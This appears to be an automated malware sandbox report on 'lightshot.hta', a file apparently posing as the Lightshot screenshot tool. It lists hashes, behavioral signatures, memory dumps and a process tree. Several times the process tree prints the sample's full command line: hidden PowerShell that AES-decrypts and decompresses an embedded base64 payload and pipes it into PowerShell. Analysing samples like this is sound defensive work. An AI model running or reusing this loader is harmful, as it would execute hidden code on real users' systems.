Analysis
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max time kernel
118s -
max time network
121s -
platform
windows7_x64 -
resource
win7-20231020-en -
resource tags
arch:x64arch:x86image:win7-20231020-enlocale:en-usos:windows7-x64system -
submitted
01-12-2023 18:16
Static task
static1
Behavioral task
behavioral1
Sample
Lightshot.dll
Resource
win7-20231023-en
Behavioral task
behavioral2
Sample
Lightshot.dll
Resource
win10v2004-20231127-en
Behavioral task
behavioral3
Sample
Lightshot.exe
Resource
win7-20231023-en
Behavioral task
behavioral4
Sample
Lightshot.exe
Resource
win10v2004-20231127-en
Behavioral task
behavioral5
Sample
lightshot.hta
Resource
win7-20231020-en
Behavioral task
behavioral6
Sample
lightshot.hta
Resource
win10v2004-20231127-en
General
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Target
lightshot.hta
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Size
54KB
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MD5
d4a2eb2ca3c9c631d7fe24550901187f
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SHA1
adce21df1542c8867a8d3ee867ad963671290a9c
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SHA256
06ad0a15ad23f80816d9388624a14712df3598f856a2360912dd98680374dbda
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SHA512
68679a0176e4eec9f1239e497e8f279e4e857062a251fdd12201622a92c676ded89c3eea5aaa1085277dde3137a8278f3df7ea886342f99b3d7b60551fa9daa9
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SSDEEP
768:+rZm+DbOMXv/8/kpd6T0IBCFLGD6nqY79EtVaJOr:+rZmSbOMXv/8gd6TlBCJGD6qY79EtVDr
Malware Config
Signatures
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Processes:
mshta.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-2084844033-2744876406-2053742436-1000\Software\Microsoft\Internet Explorer\Main mshta.exe -
Suspicious behavior: EnumeratesProcesses 5 IoCs
Processes:
powershell.exepowershell.exepowershell.exepid process 2416 powershell.exe 2416 powershell.exe 2416 powershell.exe 2752 powershell.exe 2272 powershell.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
powershell.exepowershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 2416 powershell.exe Token: SeDebugPrivilege 2752 powershell.exe Token: SeDebugPrivilege 2272 powershell.exe -
Suspicious use of WriteProcessMemory 16 IoCs
Processes:
mshta.exepowershell.execmd.exedescription pid process target process PID 1364 wrote to memory of 2416 1364 mshta.exe powershell.exe PID 1364 wrote to memory of 2416 1364 mshta.exe powershell.exe PID 1364 wrote to memory of 2416 1364 mshta.exe powershell.exe PID 1364 wrote to memory of 2416 1364 mshta.exe powershell.exe PID 2416 wrote to memory of 2724 2416 powershell.exe cmd.exe PID 2416 wrote to memory of 2724 2416 powershell.exe cmd.exe PID 2416 wrote to memory of 2724 2416 powershell.exe cmd.exe PID 2416 wrote to memory of 2724 2416 powershell.exe cmd.exe PID 2724 wrote to memory of 2752 2724 cmd.exe powershell.exe PID 2724 wrote to memory of 2752 2724 cmd.exe powershell.exe PID 2724 wrote to memory of 2752 2724 cmd.exe powershell.exe PID 2724 wrote to memory of 2752 2724 cmd.exe powershell.exe PID 2724 wrote to memory of 2272 2724 cmd.exe powershell.exe PID 2724 wrote to memory of 2272 2724 cmd.exe powershell.exe PID 2724 wrote to memory of 2272 2724 cmd.exe powershell.exe PID 2724 wrote to memory of 2272 2724 cmd.exe powershell.exe
Processes
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C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\lightshot.hta"1⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $bjKJNucK = 'AAAAAAAAAAAAAAAAAAAAAP6K+v/ILIzonFqWY3aMyfu65Aitbvrdlf1JTR+VHM/93Pf7W9XSL9oKmFg9V+qy7eBG0S0HcDJtKhMRJ3Q9l7qhshHWmSGG8dKhKozh29fz02LJqF75p00XN+M8aChOLhiqviflbGu7cJqrbrWEVM7I+svNVeMHi6RuXQg3kyji0gso+E8HnnYMnLf63ehVx7vxZM1uNnQOjwScVjqGSm+URXGtIivHGvS7vky4GJZoZsxf9RpCqeVgXa+3SYd3lT+/+i5jaP4JR3SIEZQkfN4AsMHwqS+l2uMmKP4+eY38Xpo7CromP9x0lgF9/+BppwkdSfBvKvcCwokBDbD9QX0rmGMo+aov1Pa6JMsUJndxd7gXYZ4NJgIxfsx3nG11k/xyeA3FKb9M5uN34DguAT8bLbYW0/uunjQ7jci7sDSqFGwM7cVHsu4uQ/vxCWA/VsIKoOpCnJsqL9e7yfTQZd8ZledgaTqPAiksHr6qeF2DrDm6GXq3tlt+swecebAo1zXCmXTtzABYsfOV3gKMT2wGmUa7+uZhQ2P27JDH936ZqiCjJhqDl0xxeHPOL0kSdCguQBfNCliXAOw0QT2did2+iIqeoIjfoocDqNEJhNhCCzeCOn2vP07dnK9t/mvilfzeTZnmj743sAV12jWIOTHgc/e4Q4N2+Rx9yp2vT1yz5c5HnhSztHp9gvRm0I/7U5UzD0KwVsJgs0usZMkANdJIBC+a5JNnLOv+mAQAufTMUMZULnuHz/rBoZTqw37f7chwuwDV6ZxoGqp2MbPqCgeFKQgIefOApO7TTNXN6yMHo0mWEKwTL7MKX2H8CjHqVMbhmQkkJkL+2XytOm7uFf2JB2OB+vcXheFaViJYbxyQz/VZC7uSNX21qrWcvFBOqJDTAQDXy6Uyj6yKKEYT0Hj5nHpOf6eaKo10Yx4GqfU1';$NNTHozEK = 'Skp6VVRhbXN6SUxLdUZqdEhQeFhCWERYS0NVd0hOWlI=';$qxBNht = New-Object 'System.Security.Cryptography.AesManaged';$qxBNht.Mode = [System.Security.Cryptography.CipherMode]::ECB;$qxBNht.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$qxBNht.BlockSize = 128;$qxBNht.KeySize = 256;$qxBNht.Key = [System.Convert]::FromBase64String($NNTHozEK);$SRSPF = [System.Convert]::FromBase64String($bjKJNucK);$kBpEazov = $SRSPF[0..15];$qxBNht.IV = $kBpEazov;$wZxllfVVN = $qxBNht.CreateDecryptor();$OPUtZnWeo = $wZxllfVVN.TransformFinalBlock($SRSPF, 16, $SRSPF.Length - 16);$qxBNht.Dispose();$ITITdV = New-Object System.IO.MemoryStream( , $OPUtZnWeo );$RQtKC = New-Object System.IO.MemoryStream;$YabURCXiy = New-Object System.IO.Compression.GzipStream $ITITdV, ([IO.Compression.CompressionMode]::Decompress);$YabURCXiy.CopyTo( $RQtKC );$YabURCXiy.Close();$ITITdV.Close();[byte[]] $OZoVjmy = $RQtKC.ToArray();$NALOS = [System.Text.Encoding]::UTF8.GetString($OZoVjmy);$NALOS | powershell - }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c powershell.exe $bjKJNucK = 'AAAAAAAAAAAAAAAAAAAAAP6K+v/ILIzonFqWY3aMyfu65Aitbvrdlf1JTR+VHM/93Pf7W9XSL9oKmFg9V+qy7eBG0S0HcDJtKhMRJ3Q9l7qhshHWmSGG8dKhKozh29fz02LJqF75p00XN+M8aChOLhiqviflbGu7cJqrbrWEVM7I+svNVeMHi6RuXQg3kyji0gso+E8HnnYMnLf63ehVx7vxZM1uNnQOjwScVjqGSm+URXGtIivHGvS7vky4GJZoZsxf9RpCqeVgXa+3SYd3lT+/+i5jaP4JR3SIEZQkfN4AsMHwqS+l2uMmKP4+eY38Xpo7CromP9x0lgF9/+BppwkdSfBvKvcCwokBDbD9QX0rmGMo+aov1Pa6JMsUJndxd7gXYZ4NJgIxfsx3nG11k/xyeA3FKb9M5uN34DguAT8bLbYW0/uunjQ7jci7sDSqFGwM7cVHsu4uQ/vxCWA/VsIKoOpCnJsqL9e7yfTQZd8ZledgaTqPAiksHr6qeF2DrDm6GXq3tlt+swecebAo1zXCmXTtzABYsfOV3gKMT2wGmUa7+uZhQ2P27JDH936ZqiCjJhqDl0xxeHPOL0kSdCguQBfNCliXAOw0QT2did2+iIqeoIjfoocDqNEJhNhCCzeCOn2vP07dnK9t/mvilfzeTZnmj743sAV12jWIOTHgc/e4Q4N2+Rx9yp2vT1yz5c5HnhSztHp9gvRm0I/7U5UzD0KwVsJgs0usZMkANdJIBC+a5JNnLOv+mAQAufTMUMZULnuHz/rBoZTqw37f7chwuwDV6ZxoGqp2MbPqCgeFKQgIefOApO7TTNXN6yMHo0mWEKwTL7MKX2H8CjHqVMbhmQkkJkL+2XytOm7uFf2JB2OB+vcXheFaViJYbxyQz/VZC7uSNX21qrWcvFBOqJDTAQDXy6Uyj6yKKEYT0Hj5nHpOf6eaKo10Yx4GqfU1';$NNTHozEK = 'Skp6VVRhbXN6SUxLdUZqdEhQeFhCWERYS0NVd0hOWlI=';$qxBNht = New-Object 'System.Security.Cryptography.AesManaged';$qxBNht.Mode = [System.Security.Cryptography.CipherMode]::ECB;$qxBNht.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$qxBNht.BlockSize = 128;$qxBNht.KeySize = 256;$qxBNht.Key = [System.Convert]::FromBase64String($NNTHozEK);$SRSPF = [System.Convert]::FromBase64String($bjKJNucK);$kBpEazov = $SRSPF[0..15];$qxBNht.IV = $kBpEazov;$wZxllfVVN = $qxBNht.CreateDecryptor();$OPUtZnWeo = $wZxllfVVN.TransformFinalBlock($SRSPF, 16, $SRSPF.Length - 16);$qxBNht.Dispose();$ITITdV = New-Object System.IO.MemoryStream( , $OPUtZnWeo );$RQtKC = New-Object System.IO.MemoryStream;$YabURCXiy = New-Object System.IO.Compression.GzipStream $ITITdV, ([IO.Compression.CompressionMode]::Decompress);$YabURCXiy.CopyTo( $RQtKC );$YabURCXiy.Close();$ITITdV.Close();[byte[]] $OZoVjmy = $RQtKC.ToArray();$NALOS = [System.Text.Encoding]::UTF8.GetString($OZoVjmy);$NALOS | powershell -3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe $bjKJNucK = 'AAAAAAAAAAAAAAAAAAAAAP6K+v/ILIzonFqWY3aMyfu65Aitbvrdlf1JTR+VHM/93Pf7W9XSL9oKmFg9V+qy7eBG0S0HcDJtKhMRJ3Q9l7qhshHWmSGG8dKhKozh29fz02LJqF75p00XN+M8aChOLhiqviflbGu7cJqrbrWEVM7I+svNVeMHi6RuXQg3kyji0gso+E8HnnYMnLf63ehVx7vxZM1uNnQOjwScVjqGSm+URXGtIivHGvS7vky4GJZoZsxf9RpCqeVgXa+3SYd3lT+/+i5jaP4JR3SIEZQkfN4AsMHwqS+l2uMmKP4+eY38Xpo7CromP9x0lgF9/+BppwkdSfBvKvcCwokBDbD9QX0rmGMo+aov1Pa6JMsUJndxd7gXYZ4NJgIxfsx3nG11k/xyeA3FKb9M5uN34DguAT8bLbYW0/uunjQ7jci7sDSqFGwM7cVHsu4uQ/vxCWA/VsIKoOpCnJsqL9e7yfTQZd8ZledgaTqPAiksHr6qeF2DrDm6GXq3tlt+swecebAo1zXCmXTtzABYsfOV3gKMT2wGmUa7+uZhQ2P27JDH936ZqiCjJhqDl0xxeHPOL0kSdCguQBfNCliXAOw0QT2did2+iIqeoIjfoocDqNEJhNhCCzeCOn2vP07dnK9t/mvilfzeTZnmj743sAV12jWIOTHgc/e4Q4N2+Rx9yp2vT1yz5c5HnhSztHp9gvRm0I/7U5UzD0KwVsJgs0usZMkANdJIBC+a5JNnLOv+mAQAufTMUMZULnuHz/rBoZTqw37f7chwuwDV6ZxoGqp2MbPqCgeFKQgIefOApO7TTNXN6yMHo0mWEKwTL7MKX2H8CjHqVMbhmQkkJkL+2XytOm7uFf2JB2OB+vcXheFaViJYbxyQz/VZC7uSNX21qrWcvFBOqJDTAQDXy6Uyj6yKKEYT0Hj5nHpOf6eaKo10Yx4GqfU1';$NNTHozEK = 'Skp6VVRhbXN6SUxLdUZqdEhQeFhCWERYS0NVd0hOWlI=';$qxBNht = New-Object 'System.Security.Cryptography.AesManaged';$qxBNht.Mode = [System.Security.Cryptography.CipherMode]::ECB;$qxBNht.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$qxBNht.BlockSize = 128;$qxBNht.KeySize = 256;$qxBNht.Key = [System.Convert]::FromBase64String($NNTHozEK);$SRSPF = [System.Convert]::FromBase64String($bjKJNucK);$kBpEazov = $SRSPF[0..15];$qxBNht.IV = $kBpEazov;$wZxllfVVN = $qxBNht.CreateDecryptor();$OPUtZnWeo = $wZxllfVVN.TransformFinalBlock($SRSPF, 16, $SRSPF.Length - 16);$qxBNht.Dispose();$ITITdV = New-Object System.IO.MemoryStream( , $OPUtZnWeo );$RQtKC = New-Object System.IO.MemoryStream;$YabURCXiy = New-Object System.IO.Compression.GzipStream $ITITdV, ([IO.Compression.CompressionMode]::Decompress);$YabURCXiy.CopyTo( $RQtKC );$YabURCXiy.Close();$ITITdV.Close();[byte[]] $OZoVjmy = $RQtKC.ToArray();$NALOS = [System.Text.Encoding]::UTF8.GetString($OZoVjmy);$NALOS4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\BTVKK3BKSRZFWS4OKQ3G.tempFilesize
7KB
MD5946a7636a5f35163fb6100aeca1b989a
SHA16c6243f68820cdda9cd92d49cfadd0866732983c
SHA256ae3453c8377ed232dc8322f88c7f5cf78a411de8e72c6dc22705675fcafefdc5
SHA5121a6027ad1cd889a502788ecc8277310e86e1be810124e4977a609b573b4574502be87906eb0649c757a2102c7563efb3b14563cf6c4b1a9fc448734ba691f26b
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msFilesize
7KB
MD5946a7636a5f35163fb6100aeca1b989a
SHA16c6243f68820cdda9cd92d49cfadd0866732983c
SHA256ae3453c8377ed232dc8322f88c7f5cf78a411de8e72c6dc22705675fcafefdc5
SHA5121a6027ad1cd889a502788ecc8277310e86e1be810124e4977a609b573b4574502be87906eb0649c757a2102c7563efb3b14563cf6c4b1a9fc448734ba691f26b
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memory/2272-32-0x0000000071BF0000-0x000000007219B000-memory.dmpFilesize
5.7MB
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memory/2272-30-0x0000000071BF0000-0x000000007219B000-memory.dmpFilesize
5.7MB
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memory/2272-26-0x0000000002090000-0x00000000020D0000-memory.dmpFilesize
256KB
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memory/2416-5-0x00000000026F0000-0x0000000002730000-memory.dmpFilesize
256KB
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memory/2416-6-0x0000000072250000-0x00000000727FB000-memory.dmpFilesize
5.7MB
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memory/2416-2-0x0000000072250000-0x00000000727FB000-memory.dmpFilesize
5.7MB
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memory/2416-4-0x00000000026F0000-0x0000000002730000-memory.dmpFilesize
256KB
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memory/2416-3-0x0000000072250000-0x00000000727FB000-memory.dmpFilesize
5.7MB
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memory/2752-17-0x0000000071BF0000-0x000000007219B000-memory.dmpFilesize
5.7MB
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memory/2752-20-0x0000000002760000-0x00000000027A0000-memory.dmpFilesize
256KB
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memory/2752-23-0x0000000071BF0000-0x000000007219B000-memory.dmpFilesize
5.7MB
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memory/2752-31-0x0000000071BF0000-0x000000007219B000-memory.dmpFilesize
5.7MB